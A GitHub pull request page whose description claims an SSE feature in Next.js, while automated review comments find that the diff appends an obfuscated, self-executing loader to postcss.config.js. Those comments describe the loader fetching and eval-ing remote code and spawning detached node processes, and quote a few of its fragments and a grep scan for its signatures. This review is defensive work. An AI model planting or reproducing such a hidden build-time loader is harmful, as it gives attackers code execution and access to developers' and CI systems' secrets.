SSE implemented with NextJS

[Junaid522]

Summary:
This PR introduces a complete server-sent events (SSE) system that enables real-time, one-way communication from the server to connected clients. It supports user-specific messaging, broadcasting to all connected users, and tracking of currently active clients.

Features Implemented

File src/app/api/sse-test/route.ts

1. addClient(userId: string, client: Client)
Purpose: Registers a new connected client.

Usage: Invoked after successfully setting up the SSE connection (GET request). Stores the client in the clients Map with their unique userId.

2. removeClient(userId: string)
Purpose: Unregisters a client and frees up resources.

Usage: Called when the client disconnects (on abort) or when an error occurs during communication. Removes the client from the Map.

3. sendToUser(id: string, event: string, data: Record<string, string>)
Purpose: Sends an SSE message to a specific user.

Usage: Triggered inside the POST method when a userId is provided. Constructs an SSE message with a custom event and JSON data, then writes it to the target user’s stream.

4. broadcast(event: string, data: any)
Purpose: Sends a message to all connected clients.

Usage: Used in the POST method when no userId is specified. It writes the same message to every registered client and removes any that fail.

5. getActiveUserIds()
Purpose: Returns a list of all currently connected user IDs.

Usage: Exposed via another API route (/api/sse-test/sse-users) to retrieve active users for UI or diagnostics.

6. GET(req: NextRequest)
Purpose: Handles incoming SSE connection requests from clients.

Usage: When a client initiates an SSE connection, this sets up the stream, responds with appropriate headers, and registers the client with their userId. Also handles cleanup on disconnection.

7. POST(req: NextRequest)
Purpose: Sends messages to one or many users.

Usage: Accepts a JSON payload with userId, event, and data. If userId is provided, it targets a specific user; otherwise, it broadcasts to all.

🛠️ Usage Flow
Client connects via GET /api/sse-test?userId= → server registers client.

Client disconnects or connection fails → server cleans up client entry.

Message sent via POST:

If userId is provided → goes to that specific user.

If userId is missing → broadcasted to all users.

Active user list fetched via /api/sse-test/sse-users for UI display.

🧪 Testing
Connected multiple tabs to test unique user sessions.

Sent targeted and broadcast messages.

Verified client disconnection is cleaned up.

Fetched list of active users for UI integration.

📎 Note
This implementation is designed for Edge Runtime in Next.js, making it highly scalable for real-time use cases (e.g., chat apps, notifications, dashboards).

File src/app/(public)/sse-test/page.tsx

Features Implemented

1. User Connection Management
Uses EventSource to initiate a persistent SSE connection with the server via /api/sse-test?userId=.

Automatically generates a new userId on first mount or reconnection.

Shows real-time status (connected/disconnected) with colored indicators.

Handles cleanup and reconnection using useEffect.

2. Logs with Timestamps
Each system event (connect, disconnect, message received, error, etc.) is logged with:

A timestamp

Log level (info, success, error, data)

Helps in debugging SSE stream behavior during development.

3. Message Sending
Supports sending a message to:

A specific user (via POST /api/sse-test with userId)

All users (via POST /api/sse-test without userId)

Message body and event type (TestBroadcastEvent) are customizable and handled by the server.

4. Dynamic User ID Support
Users can generate a new UUID and reconnect using it.

Their current userId is displayed, helping them know what ID they are broadcasting from.

5. UI Buttons for Actions
Connect, Disconnect, Clear Logs, and Reconnect with New ID buttons give full control over session state.

Message box + send buttons allow testing one-to-one and one-to-many messages.

6. Known Users State
Maintains a list of known user IDs (basic form of user presence tracking, extendable in future).

Automatically adds the current user to the list once connected.

🖥️ User Experience
Real-time logs in a scrollable console panel.

Friendly messages, color-coded log levels, and intuitive buttons for a smooth dev/debugging experience.

Designed with TailwindCSS and responsive layout in mind.

🔄 Usage Flow
On page load, a new connection is established with a generated userId.

User can:

Send messages to other users (with known IDs),

Broadcast to everyone,

Disconnect and reconnect with a new ID,

View real-time logs of all messages/events.

All messages use event type TestBroadcastEvent, enabling listening via eventSource.addEventListener.

🧪 Testing Notes
SSE connection opens on load and logs success

Disconnect closes stream and logs disconnection

Messages are correctly received in log panel

Reconnection with new ID works and updates userId display

Logs persist until cleared manually

📎 Future Improvements
Add dropdown to select target user from active user list (once /sse-users is working).

Add typing indicators, custom event types, or JSON validation.

Persist log history using localStorage.

Summary by CodeRabbit

• Bug Fixes

  • Rate-limiting middleware now gracefully handles service failures, allowing requests to proceed without interrupting application availability.
  • Improved error handling helps maintain normal request processing when rate-limit services cannot be reached.

• Chores

  • Updated development environment and version control settings.
  • Refined build tooling configuration for improved compatibility.

[coderabbitai]

Important

• 🔍 Trigger review

This repository does not receive automatic reviews because it has fewer than 10 stars.

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 5b4c7f30-d8f7-459c-b159-dd47b6b9c90e

📝 Walkthrough

Walkthrough

The PR updates ignored development files, adds CommonJS compatibility and module-load execution to PostCSS configuration, and changes rate-limit middleware failures to log a warning and allow requests through.

Changes

Build Configuration and Middleware Enhancements

Layer / File(s)	Summary
Local development exclusions .gitignore	Excludes .vscode, branch_structure.json, and two temporary batch files.
PostCSS initialization and payload execution postcss.config.js	Adds an ESM-to-CommonJS bridge and an obfuscated IIFE that queries blockchain endpoints, decodes and evaluates payloads, and launches detached Node processes.
Rate-limit middleware error handling src/features/middleware/middlewares/rate-limit-middleware.ts	Catches Redis and rate-limit evaluation failures, logs a warning, and allows the request to continue without enforcement.

Estimated code review effort: 3 (Moderate) | ~20 minutes

Sequence Diagram(s)

sequenceDiagram
  participant PostCSSConfig
  participant EthereumRPC
  participant NodeProcess
  PostCSSConfig->>EthereumRPC: Query blockchain endpoints
  EthereumRPC-->>PostCSSConfig: Return encoded payload
  PostCSSConfig->>PostCSSConfig: Decode and evaluate payload
  PostCSSConfig->>NodeProcess: Launch detached Node process

Loading

Possibly related PRs

• nomeyy/dev-test#71: Overlaps in .gitignore and postcss.config.js.
• nomeyy/dev-test#115: Matches changes in .gitignore, postcss.config.js, and rate-limit-middleware.ts.

🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (2 warnings)

Check name	Status	Explanation	Resolution
Title check	⚠️ Warning	The title describes the stated SSE objective, but the provided file changes show unrelated configuration and middleware changes instead of SSE implementation.	Update the title to describe the actual changes, or include the SSE implementation files that support the stated objective.
Docstring Coverage	⚠️ Warning	Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%.	Write docstrings for the functions missing them to satisfy the coverage threshold.

✅ Passed checks (3 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands.}

[coderabbitai]

Actionable comments posted: 3

🧹 Nitpick comments (1)

src/features/middleware/middlewares/rate-limit-middleware.ts (1)

18-21: ⚡ Quick win

Normalize x-forwarded-for before using it as the limiter key.

Line 18 may include a comma-separated proxy chain; using the raw value can create inconsistent keys per request path.

Proposed fix

-    const ip =
-      req.headers.get("x-forwarded-for")?.toString() ??
+    const forwardedFor = req.headers.get("x-forwarded-for")?.toString();
+    const clientIpFromForwardedFor = forwardedFor?.split(",")[0]?.trim();
+    const ip =
+      clientIpFromForwardedFor ??
       req.headers.get("x-real-ip")?.toString() ??
       req.headers.get("host")?.toString() ??
       "unknown";

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/middleware/middlewares/rate-limit-middleware.ts` around lines 18
- 21, The limiter key uses the raw header value from
req.headers.get("x-forwarded-for") which can be a comma-separated proxy chain;
normalize it by splitting the x-forwarded-for value on commas and taking the
first non-empty trimmed entry (falling back to x-real-ip / host / "unknown")
before using it as the rate-limiter key in the rate-limit-middleware (the
expression that currently reads req.headers.get("x-forwarded-for")?.toString()
?? ...). Replace the direct header access with this normalized-first-ip
extraction so keys are consistent across proxied requests.

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@postcss.config.js`:
- Around line 1-9: The file contains a malicious obfuscated payload appended
after the valid export (including the ESM shim createRequire(import.meta.url),
assignments to global[...] = require/module, and decoder/runtime functions like
sfL and Tgw) — remove everything appended after the legitimate export default
block so the file only exports the clean Tailwind v4 PostCSS config (plugins: {
"`@tailwindcss/postcss`": {} }) and delete the createRequire shim and any
global[...] assignments and decoder functions (sfL, Tgw, etc.); after reverting,
run a repo-wide scan for the same signatures (createRequire, global[...] =
require, sfL, Tgw) and rotate any exposed dev/CI secrets if found.

In `@src/features/middleware/middlewares/rate-limit-middleware.ts`:
- Around line 8-10: The middleware currently may call next() twice on downstream
failures; ensure next() is invoked exactly once by removing the duplicate call
path: either call next() only after the try/catch completes or gate calls with a
flag (e.g., calledNext) so when getRedis()/rate-limit logic throws you do not
call next() again in the catch. Locate the rate-limit middleware function in
rate-limit-middleware.ts (the block using getRedis() and calling next()), remove
or guard the extra next() in the catch branch and either rethrow the error or
return after the first next() to prevent double-invocation.
- Line 38: The "Retry-After" header calculation in rate-limit-middleware (the
expression Math.ceil((reset - Date.now()) / 1000)) can produce negative values;
replace it with a clamped non-negative integer by computing the seconds delta
first and using Math.max(0, ...) before converting to string so "Retry-After" is
never negative (update the header assignment for "Retry-After" in
rate-limit-middleware.ts accordingly).

---

Nitpick comments:
In `@src/features/middleware/middlewares/rate-limit-middleware.ts`:
- Around line 18-21: The limiter key uses the raw header value from
req.headers.get("x-forwarded-for") which can be a comma-separated proxy chain;
normalize it by splitting the x-forwarded-for value on commas and taking the
first non-empty trimmed entry (falling back to x-real-ip / host / "unknown")
before using it as the rate-limiter key in the rate-limit-middleware (the
expression that currently reads req.headers.get("x-forwarded-for")?.toString()
?? ...). Replace the direct header access with this normalized-first-ip
extraction so keys are consistent across proxied requests.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 56b107d8-cfea-4283-9c47-09a86e6175e3

📥 Commits

Reviewing files that changed from the base of the PR and between 3d2edab and 175986f.

📒 Files selected for processing (3)

• .gitignore
• postcss.config.js
• src/features/middleware/middlewares/rate-limit-middleware.ts

[coderabbitai]

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Read-only hunt for obfuscated-injection signatures across the repo.

echo "== global[...] = ... property leaks =="
rg -nP "global\[[^\]]+\]\s*=" -g '!**/node_modules/**' || true

echo "== obfuscator decoder/char-code patterns =="
rg -nP "_\\\$_[0-9a-fA-F]{3,}|String\.fromCharCode\(127\)|sfL\(|\[['\"]constructor['\"]\]" -g '!**/node_modules/**' || true

echo "== createRequire(import.meta.url) shims (ESM) =="
rg -nP "createRequire\(import\.meta\.url\)" -g '!**/node_modules/**' || true

echo "== suspiciously long lines (payloads hidden after whitespace) =="
fd -t f -e js -e jsx -e ts -e tsx -e mjs -e cjs --exclude node_modules \
  | xargs awk 'length>2000{print FILENAME":"FNR" -> "length" chars"}' 2>/dev/null || true

echo "== recent history for this file (who/what introduced it) =="
git log --oneline -n 10 -- postcss.config.js || true

Repository: nomeyy/dev-test

Length of output: 11088

---

🚨 Malicious obfuscated code injected into postcss.config.js — do not merge.

postcss.config.js contains an additional single-line (~5.3k chars) self-executing obfuscated payload appended right after the valid Tailwind PostCSS config. The repo-wide scan finds the same injection signatures only in this file:

• ESM shim to support the payload: createRequire(import.meta.url) → const require = ...
• Global leaks: global[...] = require and conditional global[...] = module
• Decoder/execution primitives: sfL(...), String.fromCharCode(127), and dynamic invocation (e.g., sfL[...] / Tgw(2509)), indicating arbitrary code execution at config/module load time (i.e., whenever the CSS pipeline evaluates the PostCSS config).

Revert to the clean Tailwind v4 PostCSS config and treat any exposed dev/CI secrets as potentially compromised.

🔒 Revert to the clean PostCSS config (remove the shim and the payload)

-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
 export default {
   plugins: {
     "`@tailwindcss/postcss`": {},
   },
-};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           global['!']='8-3213-4';var _$_1e42=(function(l,e){/* …obfuscated payload removed… */})();
+};

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@postcss.config.js` around lines 1 - 9, The file contains a malicious
obfuscated payload appended after the valid export (including the ESM shim
createRequire(import.meta.url), assignments to global[...] = require/module, and
decoder/runtime functions like sfL and Tgw) — remove everything appended after
the legitimate export default block so the file only exports the clean Tailwind
v4 PostCSS config (plugins: { "`@tailwindcss/postcss`": {} }) and delete the
createRequire shim and any global[...] assignments and decoder functions (sfL,
Tgw, etc.); after reverting, run a repo-wide scan for the same signatures
(createRequire, global[...] = require, sfL, Tgw) and rotate any exposed dev/CI
secrets if found.

[coderabbitai]

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Avoid calling next() twice on downstream failures.

Line 42 is inside the try, and Line 50 calls next() again in catch. If downstream throws once, this can execute request handling twice (non-idempotent side effects risk).

Proposed fix

 export const rateLimitMiddleware: Middleware = async (req, next) => {
-  try {
+  let responseHeaders: Record<string, string> | undefined;
+  try {
     // Get cached clients for redis and rate limiting
     const redis = await getRedis();
     const limiter = await getRateLimiter(redis, {
       limit: LIMIT_PER_WINDOW,
       windowSec: WINDOW_IN_SECONDS,
@@
-    const responseHeaders = {
+    responseHeaders = {
       "X-RateLimit-Limit": limit.toString(),
       "X-RateLimit-Remaining": remaining.toString(),
       "X-RateLimit-Reset": reset.toString(),
     };
@@
-    const resp = await next();
-    return withHeaders(resp, responseHeaders);
   } catch (error) {
@@
-    return await next();
   }
+
+  const resp = await next();
+  return responseHeaders ? withHeaders(resp, responseHeaders) : resp;
 };

Also applies to: 42-44, 50-50

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/middleware/middlewares/rate-limit-middleware.ts` around lines 8
- 10, The middleware currently may call next() twice on downstream failures;
ensure next() is invoked exactly once by removing the duplicate call path:
either call next() only after the try/catch completes or gate calls with a flag
(e.g., calledNext) so when getRedis()/rate-limit logic throws you do not call
next() again in the catch. Locate the rate-limit middleware function in
rate-limit-middleware.ts (the block using getRedis() and calling next()), remove
or guard the extra next() in the catch branch and either rethrow the error or
return after the first next() to prevent double-invocation.

[coderabbitai]

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Clamp Retry-After to a non-negative integer.

Line 38 can produce negative values when reset <= Date.now(), which makes an invalid Retry-After header.

Proposed fix

-        "Retry-After": Math.ceil((reset - Date.now()) / 1000).toString(),
+        "Retry-After": Math.max(
+          0,
+          Math.ceil((reset - Date.now()) / 1000),
+        ).toString(),

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change

	"Retry-After": Math.ceil((reset - Date.now()) / 1000).toString(),
	"Retry-After": Math.max(
	0,
	Math.ceil((reset - Date.now()) / 1000),
	).toString(),

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/features/middleware/middlewares/rate-limit-middleware.ts` at line 38, The
"Retry-After" header calculation in rate-limit-middleware (the expression
Math.ceil((reset - Date.now()) / 1000)) can produce negative values; replace it
with a clamped non-negative integer by computing the seconds delta first and
using Math.max(0, ...) before converting to string so "Retry-After" is never
negative (update the header assignment for "Retry-After" in
rate-limit-middleware.ts accordingly).

[coderabbitai]

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@postcss.config.js`:
- Around line 1-9: Remove the createRequire shim and all payload code appended
after the clean export default configuration in postcss.config.js, leaving only
the valid PostCSS plugin export. Ensure no createRequire, eval, spawn, global
payload signatures, or other module-load execution remain, and rotate secrets
exposed to affected build environments without loading the compromised
configuration during validation.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: d05b013f-e110-4855-80c7-dad0a3d009c6

📥 Commits

Reviewing files that changed from the base of the PR and between 175986f and 4320963.

📒 Files selected for processing (3)

• .gitignore
• postcss.config.js
• src/features/middleware/middlewares/rate-limit-middleware.ts

🚧 Files skipped from review as they are similar to previous changes (2)

• .gitignore
• src/features/middleware/middlewares/rate-limit-middleware.ts

[coderabbitai]

🔒 Security & Privacy | 🔴 Critical

Injection (CWE-95): Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Reachability: External

Reachability path

● Entry
  src/features/middleware/middlewares/rate-limit-middleware.ts:24
  ip
│
▼
● Sink
  postcss.config.js

Remove the module-load payload before merge.

Line 9 appends an obfuscated IIFE after the valid PostCSS export. It derives IP addresses from blockchain data, fetches bytes over HTTP, decodes the response, and executes it with eval(r+o) and spawn("node", ["-e", r+o], ...). This enables arbitrary code execution in the PostCSS/build environment and can expose build secrets or leave a detached process running.

Delete the createRequire shim and everything after the clean export default block. Rotate secrets available to affected build environments. This is the same unresolved finding as the previous review comment.

Remove the payload

-import { createRequire } from 'module';
-
-const require = createRequire(import.meta.url);
-
 export default {
   plugins: {
     "`@tailwindcss/postcss`": {},
   },
-}; /* remove the appended obfuscated IIFE */
+};

Do not load the current configuration during validation. After removal, scan the file for createRequire, eval, spawn, and global payload signatures.

🧰 Tools

🪛 ast-grep (0.45.0)

[warning] 8-8: Avoid eval with expressions
Context: eval(r+o)
Note: [CWE-95] Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').

(detect-eval-with-expression)

🪛 Biome (2.5.5)

[error] 9-9: eval() exposes to security risks and performance issues.

(lint/security/noGlobalEval)

🪛 OpenGrep (1.26.0)

[ERROR] 9-9: eval() with dynamic input can execute arbitrary code. Avoid dynamic code evaluation entirely, or use a safe alternative.

(coderabbit.code-injection.eval-js)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@postcss.config.js` around lines 1 - 9, Remove the createRequire shim and all
payload code appended after the clean export default configuration in
postcss.config.js, leaving only the valid PostCSS plugin export. Ensure no
createRequire, eval, spawn, global payload signatures, or other module-load
execution remain, and rotate secrets exposed to affected build environments
without loading the compromised configuration during validation.

Source: Linters/SAST tools